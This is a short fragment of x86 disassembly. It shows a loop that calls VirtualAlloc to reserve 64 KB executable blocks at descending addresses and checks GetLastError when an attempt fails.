jne 0x10051b13
cmp dword [ebp - 0x18], 0x10000
jb 0x10051b13
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x10051af6
mov eax, dword [ebp - 8]
jmp 0x10051b2f
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x10051b06
xor eax, eax
jmp 0x10051b2f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10051b28
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.10051c20
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10051a6a
xor eax, eax
mov esp, ebp
pop ebp
ret